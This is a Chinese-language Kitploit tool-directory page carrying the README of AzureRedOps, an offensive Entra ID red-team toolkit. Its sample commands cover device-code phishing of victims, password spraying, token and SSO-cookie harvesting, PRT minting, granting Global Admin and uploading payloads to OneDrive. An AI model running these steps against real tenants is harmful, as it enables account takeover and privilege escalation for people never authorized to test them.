Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
AzureRedOps — Azure RedOps 是一个用于评估 Microsoft Entra ID 安全态势的攻击性安全工具包。 | Kitploit
工具/GitHubGitHub/mr-un1k0d3r/azureredops
钓鱼工具权限提升侦察密码攻击漏洞利用信息收集后渗透利用渗透测试云安全身份验证红队
GitHub
180181个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
mr-un1k0d3r/azureredops

AzureRedOps

Azure RedOps 是一个用于评估 Microsoft Entra ID 安全态势的攻击性安全工具包。

查看仓库

AzureRedOps

一款用于 Azure / Entra ID 红队作战的瑞士军刀式工具。

作者: Mr.Un1k0d3r (TrueCyber Inc) 版本: 0.1 语言: Python 3.12+


概述

AzureRedOps 是一款用于评估 Microsoft Entra ID 和 Azure 租户安全状况的进攻性安全工具包。它将最常见的红队工作流程——身份验证、令牌管理、目录枚举、权限检查、密码喷洒以及针对 Microsoft Graph 的后渗透操作——封装在一个统一的、由 --activity 驱动的 CLI 背后。

每个操作都通过 -a/--activity 进行选择。身份验证过程中获取的令牌可以在本地缓存(.azure_creds),并通过 -l/--load-access-token 按名称重复使用,因此您几乎无需粘贴原始 JWT。

了解有关该工具的更多信息 在 CYPFER 博客上

功能

  • 令牌管理 — 在本地凭证存储(.azure_creds)中保存、列出、解码/查看和删除访问/刷新令牌。任何流程都可以通过 -s/--save + -n/--name 自动持久化其令牌。
  • 多种身份验证流程:
    • ROPC (auth) — 直接的用户名/密码身份验证。
    • 设备代码钓鱼 (phish-start / phish-capture) — 滥用 OAuth 设备授权许可,在目标于 microsoft.com/devicelogin 输入您的用户代码时捕获颁发的令牌。默认自动捕获。
    • 第三方应用同意 (auth-app) — 针对自定义应用程序注册的完整授权码 + PKCE 流程,由接收重定向的内置本地 HTTPS 监听器提供服务。
    • 交互式浏览器捕获 (auth-interactive) — 驱动真实浏览器(Playwright;默认 Firefox,可通过 -br 切换)(处理 MFA / 条件访问 / SSO),然后从录制的会话 HAR 中收集所有令牌。
    • 刷新令牌交换 (refresh) — 用刷新令牌换取新的访问令牌。
    • On-Behalf-Of 授权 (obo) — 将已颁发的访问令牌交换为针对下游资源作用域的新令牌(OAuth 2.0 jwt-bearer / OBO)。
    • 令牌到浏览器 SSO (browser-sso) — 打开一个真实浏览器,已作为用户通过身份验证,直接进入目标 Web 应用(Outlook 网页版、Teams、SharePoint、Azure 门户等)。使用 -aprt/--auto-prt 它会从刷新令牌自动生成一个 的 cookie(设备注册 → PRT → ),因此全新浏览器无需手动登录即可完成单点登录。
  • 目录枚举 via Microsoft Graph — 用户、应用程序、服务主体、授权策略以及批量 gather-all 收集器。
  • 密码喷洒 针对已知的 Microsoft 第一方应用 ID (spray) 和跨应用刷新令牌喷洒 (spray-refresh)。
  • 后渗透 — 注册应用程序、创建组、分配目录角色、邀请外部(访客)用户以及上传文件到 OneDrive。
  • 侦察助手 — magic-app 查找具有 AllPrincipals 同意的可公共重定向的应用程序;内置已知/有趣的 Microsoft 应用 ID 列表。
  • 生活质量 — beta 端点切换、自定义头部、自定义 user-agent/scope/audience、属性过滤、扩展输出、调试/详细 HTTP 日志记录以及输出重定向到文件。

要求

  • Python 3.12 或更新版本(代码依赖于 PEP 701 f-string 语法)。
  • Python 包(参见 requirements.txt):
    • PyJWT
    • requests
    • playwright
    • cryptography(仅在 browser-sso -aprt 自动 PRT 流程时需要)
  • 为浏览器流程 (auth-interactive, browser-sso) 需提供 Playwright 浏览器运行时。Firefox 是默认引擎 (-br/--browser);使用 python -m playwright install firefox 进行安装。
  • TLS 证书和密钥位于 includes/web/cert.pem 和 includes/web/key.pem(仅在 auth-app PKCE 流程时需要 — 参见 )。

安装```bash

Clone the repository

git clone AzureRedOps cd AzureRedOps

Create and activate a virtual environment

python3 -m venv AzureRedOps source AzureRedOps/bin/activate # Linux / macOS

.\AzureRedOps\Scripts\Activate.ps1 # Windows PowerShell

Install dependencies

pip install -r requirements.txt

Install the browser used by the browser flows (one-time).

Firefox is the default engine; install the one(s) you plan to use with -br.

python -m playwright install firefox

python -m playwright install chromium webkit # optional, for -br chromium/webkit

python -m playwright install-deps # Linux/WSL: pull system libs

root@kitploit:~
运行工具:```bash
python3 AzureRedOps.py -a <activity> [options]

用法

一般调用模式为:```bash python3 AzureRedOps.py -a [authentication] [activity options] [global options]

root@kitploit:~
### 提供令牌

调用 Microsoft Graph 的活动需要一个访问令牌。可以通过两种方式提供:

| 方法 | 标志 | 示例 |
|--------|------|---------|
| 传递原始令牌 | `-ac, --access-token` | `-ac eyJ0eXAi...` |
| 按名称加载缓存的令牌 | `-l, --load-access-token` | `-l mytoken` |

当使用 `-l` 时,匹配的 `access_token`(以及相关的 `refresh_token` 和 `tenant`)将从 `.azure_creds` 存储中读取。

### 将令牌保存到文件(`-s` / `-n`)

任何获取令牌的活动(`auth`、`auth-app`、`auth-interactive`、`phish-start`/`phish-capture`、`refresh`)可以通过添加 `-s/--save` 和 `-n/--name` **自动持久化它们** 到本地凭据存储(`.azure_creds`):```bash
# Authenticate and save the resulting tokens under the name "victim1"
python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -s -n victim1
  • -s/--save 启用自动保存;它需要 -n/--name — 如果缺少 -n,工具会报错退出。
  • -n/--name 是存储令牌的键。之后可以用 -l victim1 重复使用它,而无需粘贴原始 JWT,用 -a view -n victim1 查看,或用 -a delete -n victim1 删除。
  • auth-interactive 活动总是自动保存,如果未提供 -n,它会交互式地提示你输入一个名称。

将活动输出保存到文件 (-j)

大多数枚举活动(list-users、list-applications、list-principals、gather-all、raw-url)接受 -j/--json <filename>,以便将原始 API 响应写入 JSON 文件,而不是(或除了)打印它:```bash

Dump every user to users.json

python3 AzureRedOps.py -a list-users -l victim1 -j users.json

root@kitploit:~
对于 `gather-all`,提供的文件名作为后缀使用,每个 Graph 端点会写入一个文件(例如 `users-<name>`、`groups-<name>` 等)。

> 提示:`-j` 控制结构化 JSON 导出,而 `-re/--redirect-to-file` 将格式化的控制台输出镜像到 `output.txt`。两者相互独立。

### 租户标识符

- `-t, --tenant` 期望一个**域名**(例如 `contoso.com`),由 `id` 活动使用。
- `-tid, --tenant-id` 期望一个**租户 GUID** 或 `common`,由身份验证活动使用。

---

## 命令行选项

| 短参数 | 长参数 | 默认值 | 描述 |
|--------|--------|--------|------|
| `-a` | `--activity` | `id` | **(必需)** 要执行的活动(参见[活动](#activities))。 |
| `-ac` | `--access-token` | | Azure 访问令牌。 |
| `-n` | `--name` | | 用于保存/加载令牌的名称,或用于 `register-app`/`new-group`/`invite` 的显示名称。 |
| `-t` | `--tenant` | | Azure 租户**域**名(由 `id` 使用)。 |
| `-c` | `--devicecode` | | 设备代码(由 `phish-capture` 使用)。 |
| `-tid` | `--tenant-id` | | Azure 租户**ID**(GUID)或 `common`。 |
| `-app` | `--appid` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | 应用程序(客户端)ID。 |
| `-e` | `--endpoint` | `microsoftonline.com` | 目标登录端点域名。 |
| `-r` | `--refresh-token` | | 身份验证刷新令牌。 |
| `-as` | `--auto-start` | `True` | 在 `phish-start` 后自动启动设备代码捕获。 |
| `-l` | `--load-access-token` | | 从 `.azure_creds` 按名称加载缓存的令牌。 |
| `-j` | `--json` | | 将活动输出保存到指定的 JSON 文件。 |
| `-fl` | `--filter` | | 仅打印键匹配这些属性(逗号分隔)的属性。 |
| `-u` | `--username` | | 用户主体名称(电子邮件)。 |
| `-p` | `--password` | | 用户密码。 |
| `-s` | `--save` | `False` | 自动将获取的令牌保存到 `.azure_creds`(**需要 `-n`**)。 |
| `-cp` | `--check-privileges` | `False` | 在成功的喷射登录后,探测是否可以枚举用户/应用程序。 |
| `-uid` | `--uid` | | Azure 用户对象 ID(由 `add-group` 使用)。 |
| `-headers` | `--headers` | | 额外的 HTTP 头,格式为 JSON,例如 `{"X-Foo": "bar"}`。 |
| `-gid` | `--gid` | `62e90394-69f5-4237-91f9-056ad24d70a7` | 目录角色/组 ID(默认 = **全局管理员**)。 |
| `-i` | `--id` | `False` | 用于 `interest`:仅打印应用程序 ID。 |
| `-ty` | `--type` | | 用于 `interest`:过滤到特定类别。 |
| `-fp` | `--filepath` | | 要上传的文件(`push-file`)或用于喷射的自定义应用列表。 |
| `-v` | `--version` | `v2.0` | 身份验证 API 版本:`v0` 或 `v2.0`。 |
| `-ua` | `--user-agent` | *(Chrome UA 字符串)* | 覆盖 HTTP `User-Agent`。 |
| `-au` | `--audience` | `https://graph.microsoft.com` | 令牌受众/资源。 |
| `-sc` | `--scope` | `openid offline_access` | OAuth2 作用域。对于 Graph 使用 `https://graph.microsoft.com/.default`,对于喷射使用 `openid`。 |
| `-url` | `--url` | | 用于 `raw-url`/`invite` 的目标 URL;用于 `auth-interactive` 的逗号分隔的 URL 列表。 |
| `-beta` | `--beta` | `False` | 对 `list-users`/`list-applications` 使用 Microsoft Graph **beta** 端点。 |
| `-exp` | `--expand` | `False` | 在输出中展开嵌套列表/字典为人类可读的格式。 |
| `-k` | `--keep` | `False` | 在 `auth-interactive` / `browser-sso` 后保留 `session.har` 文件。 |
| `-cs` | `--client-secret` | | 由 `obo` 代表授权使用的机密客户端密钥。 |
| `-prt` | `--prt-cookie` | | PRT cookie 值(`x-ms-RefreshTokenCredential`),用于为 `browser-sso` 播种浏览器 SSO。 |
| `-br` | `--browser` | `firefox` | 用于浏览器流程(`auth-interactive`、`browser-sso`)的 Playwright 浏览器引擎。可选值:`firefox`、`chromium`、`webkit`。 |
| `-aprt` | `--auto-prt` | `False` | 用于 `browser-sso`:从刷新令牌自动生成 PRT cookie(设备注册 → PRT → `x-ms-RefreshTokenCredential`),以便浏览器**已认证**打开。需要 `cryptography` 和 FOCI/代理刷新令牌。 |
| `-d` | `--debug` | `False` | 启用调试日志。 |
| `-dd` | `--verbose-debug` | `False` | 启用详细的 HTTP 请求/响应日志。 |
| `-re` | `--redirect-to-file` | `False` | 将所有控制台输出镜像到 `output.txt`。 |

---

## 活动

下面,每个活动列出了其**必需**和*可选*参数。
"Token" 表示需要 `-ac` 或 `-l`。

### 令牌管理

| 活动 | 必需参数 | 可选参数 | 描述 |
|------|----------|----------|------|
| `save` | `-ac`, `-n` | `-tid`, `-r` | 将访问(和可选的刷新)令牌保存到 `.azure_creds`。 |
| `list-token` | — | — | 列出所有已保存令牌的名称。 |
| `view` | `-n` | — | 解码并显示已保存令牌的 JWT 声明。 |
| `delete` | `-n` | — | 从存储中移除已保存的令牌。 |```bash
# Save a token under the name "mytoken"
python3 AzureRedOps.py -a save -n mytoken -ac eyJ0eXAi... -r 0.AReAB... -tid <tenant-guid>

# List, view, delete
python3 AzureRedOps.py -a list-token
python3 AzureRedOps.py -a view -n mytoken
python3 AzureRedOps.py -a delete -n mytoken

租户发现与认证

Resolve a tenant ID from a domain

python3 AzureRedOps.py -a id -t contoso.com

Device-code phishing (auto-capture is on by default)

python3 AzureRedOps.py -a phish-start -tid common -app d3590ed6-52b3-4102-aeff-aad2292ab01c

Capture later with a previously issued device code

python3 AzureRedOps.py -a phish-capture -c -tid common

Username / password (ROPC)

python3 AzureRedOps.py -a auth -u [email protected] -p 'P@ssw0rd!' -tid

Interactive browser capture, saving tokens automatically

python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com -s -n harvested

Refresh a saved token

python3 AzureRedOps.py -a refresh -l mytoken -app d3590ed6-52b3-4102-aeff-aad2292ab01c

On-Behalf-Of: exchange an issued token for a Graph-scoped token

python3 AzureRedOps.py -a obo -l mytoken -tid -app -cs -au https://graph.microsoft.com

Convert an issued token into an Outlook-on-the-web session and open it in a browser

python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt

root@kitploit:~
#### 认证流程的工作原理

AzureRedOps 实现了多种获取令牌的方式。请根据你的实际测试场景选择合适的方式;所有方式都支持 `-s/-n` 参数来自动保存结果。

##### 设备代码钓鱼(`phish-start` / `phish-capture`)

OAuth 2.0 **设备授权许可** 专为输入受限设备设计,这使其成为一种强大的钓鱼原语:你可以代表一个第一方 Microsoft 应用程序请求一个代码,然后通过社会工程学手段诱使目标在登录其账户时,在 `https://microsoft.com/devicelogin` 输入该代码。一旦目标完成操作,令牌将**发放给你**。

- `phish-start` 请求一个设备代码,并打印出**用户代码**、登录 URL 以及原始的**设备代码**。由于 `-as/--auto-start` 默认为 `True`,它随后会立即开始轮询以获取令牌——因此,通常只需运行 `phish-start` 并将用户代码交给目标即可。
- `phish-capture` 是手动版本:使用 `-c/--devicecode` 提供之前获取的设备代码,它会轮询令牌端点,直到受害者完成登录(在授权挂起期间,工具会静默重试)。
- 使用 `-app/--appid` 来模拟特定的第一方客户端,使用 `-tid/--tenant-id` 来限定到某个租户(默认为 `common`)。提示:将范围设置为 `'https://graph.microsoft.com/.default offline_access openid'` 可获取带有刷新令牌的、可用于 Graph 的令牌。```bash
# Start a device-code session (auto-captures the token once the victim logs in)
python3 AzureRedOps.py -a phish-start -tid common -s -n phished

# Or capture against a code you generated separately
python3 AzureRedOps.py -a phish-capture -c <device-code> -tid common -s -n phished
第三方应用同意授权 (auth-app)

auth-app 对第三方(非默认)应用程序注册执行完整的 带有 PKCE 的授权码流程。该工具会启动一个本地 HTTPS 监听器(includes/Webserver.py,位于 https://localhost:2342),充当 OAuth 重定向 URI,生成 PKCE code_verifier/code_challenge 对,并打印一个授权 URL,供您在浏览器中打开。您同意授权后,Azure 将授权码重定向回本地监听器,随后该工具将其兑换为令牌。

当您控制(或已注册)一个应用程序,并希望通过在真实浏览器会话中驱动同意流程时,应使用此流程——这适用于恶意同意攻击场景或 ROPC 被阻止的情况。

  • 需要在 includes/web/cert.pem 和 includes/web/key.pem 处提供 TLS 证书/密钥对(如何生成请参见 注意事项)。
  • 此流程的默认客户端 ID 为 8545b2fc-a69c-4851-9206-0f74a519fe5f。```bash python3 AzureRedOps.py -a auth-app -tid -s -n consented
root@kitploit:~
##### 交互式浏览器认证 (`auth-interactive`)

`auth-interactive` 通过 **Playwright** 启动一个**真实浏览器**(默认为 Firefox;使用 `-br/--browser` 选择引擎),允许操作员(或共享会话中的目标)完成交互式登录——包括 MFA、Conditional Access 以及脚本流程无法满足的联合/SSO 重定向。整个浏览器会话被记录到 HAR 文件 (`session.har`) 中;然后工具解析该捕获文件,提取在 `/oauth2/v2.0/token` 端点上观察到的**每一个**访问/刷新令牌对,解码每个 JWT,并让你选择要保存的一个或多个令牌。

- `-url/--url` 设置登录页面加载后要导航到的页面。它接受一个**逗号分隔的 URL 列表**(例如 `https://portal.azure.com,https://outlook.office.com`),以便你可以在一次会话中收集多个资源的令牌。默认为 `https://portal.azure.com`。
- 此操作**总是自动保存**:在收集后,它会提示你要保留的令牌索引以及用于存储它们的名称。
- 添加 `-k/--keep` 以保留 `session.har` 用于离线分析(默认情况下会被删除)。```bash
# Log in interactively and harvest tokens for two resources
python3 AzureRedOps.py -a auth-interactive -url https://portal.azure.com,https://outlook.office.com -k
On-Behalf-Of token exchange (obo)

obo 实现了 OAuth 2.0 代表(On-Behalf-Of) 流程(grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer)。 它使用一个已颁发的访问令牌作为断言,并交换为一个全新的、作用于不同下游资源的令牌——无需重新验证用户。

  • 断言令牌通过 -ac/--access-token 提供,或通过 -l/--load-access-token 使用缓存的令牌。
  • -app/--appid + -cs/--client-secret 标识执行交换的机密客户端。Entra ID 要求该客户端必须是断言令牌的受众(aud);不匹配会导致 AADSTS500131/AADSTS50013 错误。
  • 目标资源通过 -au/--audience 设置(默认为 https://graph.microsoft.com,转化为 <audience>/.default),或通过 -sc/--scope 设置完整的作用域。
  • 生成的令牌(以及返回的刷新令牌)会被打印出来,并遵循 -s/-n 选项。```bash

Exchange an issued token for a Microsoft Graph token on behalf of the user

python3 AzureRedOps.py -a obo -l mytoken -tid
-app -cs -au https://graph.microsoft.com -s -n obo-graph

root@kitploit:~
##### Token-to-browser single sign-on (`browser-sso`)

`browser-sso` 打开一个**已作为用户通过身份验证的真实浏览器**——您无需点击任何内容即可直接进入,例如 **Outlook 网页版**。这就是“只需打开浏览器即可获得有效会话”的流程。浏览器通过三种方式之一获取其会话,按优先级排列:

**1. `-aprt/--auto-prt` — 自动生成 PRT Cookie(推荐)。**
刷新令牌由该工具完全转换为**主刷新令牌 (PRT)** 及其浏览器 Cookie,然后植入,以便 Entra 的 ESTS 完成 SSO,无需手动登录。该链(位于 `includes/PRT.py` 中,遵循 ROADtoken / roadtx / AADInternals 协议)如下:

1. 兑换刷新令牌以获取**设备注册 (DRS)** 令牌。
2. **在 Azure AD 中注册设备** → 设备证书 + 传输密钥。
3. 使用刷新令牌请求**PRT + 会话密钥**,并由设备证书签名。
4. **派生 `x-ms-RefreshTokenCredential` Cookie**(KDFv2:基于 `SHA256(ctx‖decoded-payload-bytes)` 的 SP800-108 KDF → HS256 签名的 JWT;KDFv1 → `AADSTS5000611`,错误字节 → `AADSTS50058`)并将其植入新的浏览器上下文。

该 Cookie 使用 `SameSite=None` 进行植入,并通过**顶级 ESTS `/authorize` 预热**(Office `landingv2` 客户端)被消耗,从而以第一方方式生成 `ESTSAUTH` 会话 Cookie——之后目标应用打开时即已登录。该 Cookie 在导航前立即使用新鲜的一次性随机数派生,并重试一次;如果 SSO 仍然无法完成,该工具会探测 `prompt=none` 并打印确切的 `AADSTS` 原因(例如,条件访问需要合规/托管设备,或 MFA——这两者都无法通过新注册的设备绕过)。PRT、会话密钥和 Cookie 会被打印出来(带有可直接粘贴的 `-prt "<value>"` 提示),以便您以后无需重新运行该链即可重用它们。

> **`-aprt` 的要求与操作安全:**
> - 需要 **`cryptography`** 包(`pip install cryptography`;它位于 `requirements.txt` 中)。
> - 刷新令牌必须属于 **FOCI / 代理客户端**——例如,通过**设备代码钓鱼 Microsoft 身份验证代理**(`29d9ed98-a469-4536-ade2-f981bc1d605e`)捕获的令牌,这正是 SharePoint/OneDrive 设备代码诱饵所产出的。默认的 `-app`(Microsoft Office FOCI 客户端)也可以。
> - **设备注册会向租户写入一个设备对象**——这不是静默操作,会留下痕迹(并且要求用户被允许加入/注册设备)。

**2. `-prt/--prt-cookie` — 植入您已有的 PRT Cookie。**
如果您已经持有一个 `x-ms-RefreshTokenCredential` 值(来自之前的 `-aprt` 运行,或来自通过 `ROADtoken`/`browsercore` 或 `Mimikatz` 受损的主机),请直接传递它并跳过生成链。

**3. 两者都没有——转换令牌并手动登录(回退)。**
在没有 PRT Cookie 的情况下,刷新令牌被兑换为资源范围的访问/刷新令牌(打印并使用 `-s/-n` 保存),然后在目标处打开浏览器,以便您手动完成登录。

**PRT / 会话 Cookie 收集。**
当浏览器会话结束时(自动关闭超时或您关闭窗口),`browser-sso` 会读取实时浏览器上下文并**打印所有已颁发的可重用 SSO Cookie**——PRT Cookie(`x-ms-RefreshTokenCredential`)和 ESTS 会话 Cookie(`ESTSAUTH`、`ESTSAUTHPERSISTENT` 等)——每个都带有可直接粘贴的 `-prt` 提示,以便您下次重放它们。当会话处于活动状态时,会轮询 Cookie,因此即使您提前关闭窗口,也会捕获该值。相同的收集过程在 `auth-interactive` 结束时运行。

- `-url/--url` 选择目标。使用友好的预设——`outlook`、`office`、`teams`、`sharepoint`、`onedrive`、`portal`、`graph`——或者传递一个或多个原始 `https://` URL(逗号分隔)。默认为 `outlook`。
- `-r/--refresh-token` + `-tid`(或缓存的 `-l`)提供刷新令牌。`-app/--appid` 默认为 Microsoft Office FOCI 客户端。
- `-br/--browser` 选择 Playwright 引擎(默认为 Firefox)。
- `-k/--keep` 保留浏览器会话的 `session.har` 记录。```bash
# BEST: auto-mint a PRT from a device-code-phished (broker) token and drop straight
# into an authenticated Outlook on the web — no manual login.
python3 AzureRedOps.py -a browser-sso -l phished -url outlook -aprt

# Seed a PRT cookie you already have
python3 AzureRedOps.py -a browser-sso -l mytoken -url outlook -prt <x-ms-RefreshTokenCredential>

# Target Teams from a raw refresh token, auto-mint the PRT, keep the session recording
python3 AzureRedOps.py -a browser-sso -r 0.AReAB... -tid <tenant-guid> -url teams -aprt -k

Microsoft Graph 操作

Who am I?

python3 AzureRedOps.py -a self -l mytoken

Enumerate users (beta endpoint, save to JSON, only show some fields)

python3 AzureRedOps.py -a list-users -l mytoken -beta -j users.json -fl displayName,userPrincipalName

Register an application

python3 AzureRedOps.py -a register-app -n EvilApp -l mytoken

Assign Global Admin to a user

python3 AzureRedOps.py -a add-group -uid -l mytoken

Upload a file to OneDrive

python3 AzureRedOps.py -a push-file -fp ./payload.docx -n payload.docx -l mytoken

Query an arbitrary Graph URL

python3 AzureRedOps.py -a raw-url -url "https://graph.microsoft.com/beta/users" -l mytoken

Invite an external user

python3 AzureRedOps.py -a invite -n [email protected] -url https://example.com/invite -l mytoken

Hunt for exploitable public apps

python3 AzureRedOps.py -a magic-app -l mytoken

root@kitploit:~
### 密码喷洒

| 活动 | 必需参数 | 可选参数 | 描述 |
|----------|----------|----------|-------------|
| `spray` | `-u`, `-p`, `-tid` | `-fp`, `-cp` | 针对已知的第一方应用 ID(v0 + v2.0 API)喷洒凭据。 |
| `spray-refresh` | `-v`, 和 (`-l`) **或** (`-r` + `-tid`) | `-fp`, `-cp` | 在多个应用 ID 上重放一个刷新令牌。 |

默认情况下,两个活动都使用 `includes/auth_apps.json` 作为应用来源;可通过 `-fp` 覆盖。添加 `-cp` 以测试每个成功登录是否能枚举用户/应用。```bash
# Spray a single credential across first-party apps
python3 AzureRedOps.py -a spray -u [email protected] -p 'P@ssw0rd!' -tid <tenant-guid> -cp

# Cross-app refresh spraying from a saved token
python3 AzureRedOps.py -a spray-refresh -l mytoken -v v2.0

情报与发现

root@kitploit:~
---

## 输出与生成的文件

| 文件 | 创建者 | 描述 |
|------|-----------|-------------|
| `.azure_creds` | 令牌保存活动 | 本地JSON缓存,包含访问令牌/刷新令牌,按名称索引。 |
| `output.txt` | `-re` 标志 | 带时间戳的所有控制台输出镜像。 |
| `session.har` | `auth-interactive` / `browser-sso` | 浏览器会话记录(除非设置了 `-k`,否则会被删除)。 |
| `<name>.json` | `-j` 标志 / `gather-all` | 保存的API响应。 |

### 附带的数据文件

| 文件 | 描述 |
|------|-------------|
| `includes/auth_apps.json` | 用于喷射(spraying)和 `interest` 列表的目标应用程序ID。 |
| `includes/apps.json` | 已知的Microsoft应用程序ID和用于 `knownids` 的元数据。 |
| `includes/Webserver.py` | 本地HTTPS监听器,为 `auth-app` 实现PKCE重定向。 |
| `includes/PRT.py` | PRT铸造链(设备注册 → PRT → `x-ms-RefreshTokenCredential` cookie),由 `browser-sso -aprt` 使用。 |
| `includes/web/cert.pem`, `includes/web/key.pem` | 本地监听器的TLS材料。 |

---

## 备注与提示

- **默认应用ID**(`d3590ed6-52b3-4102-aeff-aad2292ab01c`)是Microsoft Office的第一方客户端,适用于大多数流程。某些活动打印的提示建议将令牌扩展到 **Microsoft Azure CLI** 应用(`04b07795-8ddb-461a-bbee-02f9e1bf7b46`),以获得更广泛的访问权限。
- **范围指南:** 对密码喷射使用 `-sc openid`,对Graph操作使用 `-sc 'https://graph.microsoft.com/.default'`。
- **`--beta`** 将 `list-users` / `list-applications` 切换到Graph beta端点,这可以显示额外信息(例如,本地同步属性)。
- **`auth-app` TLS:** 本地PKCE监听器需要位于 `includes/web/cert.pem` 和 `includes/web/key.pem` 的证书/密钥对。如果缺失,请生成自签名对,例如:  ```bash
  openssl req -x509 -newkey rsa:2048 -nodes \
    -keyout includes/web/key.pem -out includes/web/cert.pem -days 365 -subj "/CN=localhost"
  • 调试: -d 打印高级调试信息;-dd 转储完整的HTTP请求和响应(头部和主体)—— 在诊断失败的令牌交换时很有用。
  • 浏览器引擎 (-br/--browser). 浏览器流程 (auth-interactive, browser-sso) 运行一个有头 Playwright 浏览器。引擎默认为 firefox (在 WSLg 下最可靠的有头引擎);使用 -br chromium 或 -br webkit 切换。使用 python -m playwright install <engine> 一次性安装所选引擎。
  • WSL上的Playwright — 空白窗口/整个机器冻结. 在WSL/WSLg下,一个有头浏览器可能会打开空白且永不渲染,同时整个主机锁定。根本原因:WSLg暴露了一个虚拟化的GPU(/dev/dxg,由d3d12 Mesa驱动驱动),浏览器的GPU/合成进程试图使用它,而WSL虚拟机的默认/dev/shm非常小(通常64 MB)。两者结合——GPU进程在一个它无法驱动的设备上旋转,共享内存合成器耗尽/dev/shm——因此没有任何渲染,VM膨胀直到Windows主机崩溃。另一个次要因素是 page.goto(..., wait_until="networkidle"):微软登录页面长轮询,所以永远不会触发,导航在空白页面阻塞直到超时。

致谢

由 Mr.Un1k0d3r — TrueCyber Inc. 创建。

下载工具
主刷新令牌 (PRT)
x-ms-RefreshTokenCredential
说明
活动必需可选描述
id-t—根据给定的电子邮件域解析租户 ID。
phish-start—-app, -tid, -as, -s, -n启动设备代码流程;打印用户代码并(默认情况下)自动捕获。
phish-capture-c-app, -tid, -s, -n使用之前发放的设备代码轮询令牌。
auth-u, -p, -tid, -app, -v-s, -n通过用户名/密码进行身份验证(ROPC)。
auth-app-tid-s, -n通过本地 HTTPS 监听器执行授权码 + PKCE 流程。
auth-interactive—-url, -k, -n启动一个浏览器(Playwright),让用户登录,并从会话 HAR 中提取令牌。始终自动保存。
refresh-v, -app,以及 (-l) 或 (-r + -tid)-s, -n用刷新令牌换取新的访问令牌。
obo-tid, -app,以及 (-ac) 或 (-l)-cs, -au, -sc, -s, -n代理(On-Behalf-Of):将已发放的访问令牌交换为另一个资源作用域的令牌。
browser-sso-app,以及 (-l) 或 (-r + -tid)-aprt, -url, -prt, -v, -k, -s, -n打开一个已以用户身份认证的浏览器。添加 -aprt 以从刷新令牌自动生成 PRT Cookie,使用 -prt 提供一个现成的,或回退到转换令牌并手动登录。
活动必需可选描述
selfToken—显示当前用户的资料 (/me)。
emailToken, -fl—搜索已登录用户的邮箱以查找关键字。
permissionToken—显示租户授权策略 (beta)。
list-usersToken-j, -beta, -fl, -exp枚举所有用户。
list-applicationsToken-j, -beta, -fl, -exp枚举所有应用程序。
list-principalsToken-j, -fl, -exp枚举所有服务主体。
register-appToken, -n—注册新应用程序(生成 1 年期客户端密钥)。
new-groupToken, -n—创建新的安全组。
add-groupToken, -uid-gid将目录角色分配给主体(默认角色 = 全局管理员)。
push-fileToken, -fp, -n—将本地文件上传至用户的 OneDrive。
gather-allToken-j批量收集用户、组、应用程序、服务主体、角色、策略和授权。
raw-urlToken, -url-j, -fl, -exp对任意 Graph/REST URL 发起原始 GET 请求(处理 @odata.nextLink 分页)。
inviteToken, -n-url邀请外部(来宾)用户。-n 为受邀者邮箱。
magic-appToken—查找具有 AllPrincipals 许可、appRoleAssignmentRequired=false 且使用了公共重定向 URI 的应用程序。
活动必需可选描述
knownids—-fl, -exp列出已知的微软应用程序ID(includes/apps.json)。
list-interest——列出在 includes/auth_apps.json 中定义的应用程序类别。
interest—-i, -ty列出感兴趣的应用程序ID;-i 仅打印ID,-ty 按类别过滤。
python3 AzureRedOps.py -a knownids
python3 AzureRedOps.py -a list-interest
python3 AzureRedOps.py -a interest -ty all_users
python3 AzureRedOps.py -a interest -i # IDs only
networkidle
  • 工具内修复: AzureRedOps现在自动检测WSL并为你使用的任何引擎禁用硬件加速——Chromium获得--no-sandbox --disable-gpu --disable-dev-shm-usage,Firefox获得gfx.webrender.force-disabled / layers.acceleration.disabled——回退到CPU(软件)渲染,因此页面仍然渲染并且完全可交互。每次导航现在等待domcontentloaded而不是networkidle。你应该会看到一个正常工作的浏览器。
  • 如果仍然遇到问题,请增大/dev/shm(sudo mount -o remount,size=1g /dev/shm),确保你使用的是带WSLg的WSL 2(wsl --update;echo $DISPLAY应该非空),并确认浏览器运行环境已安装到venv中(python -m playwright install firefox 和 python -m playwright install-deps)。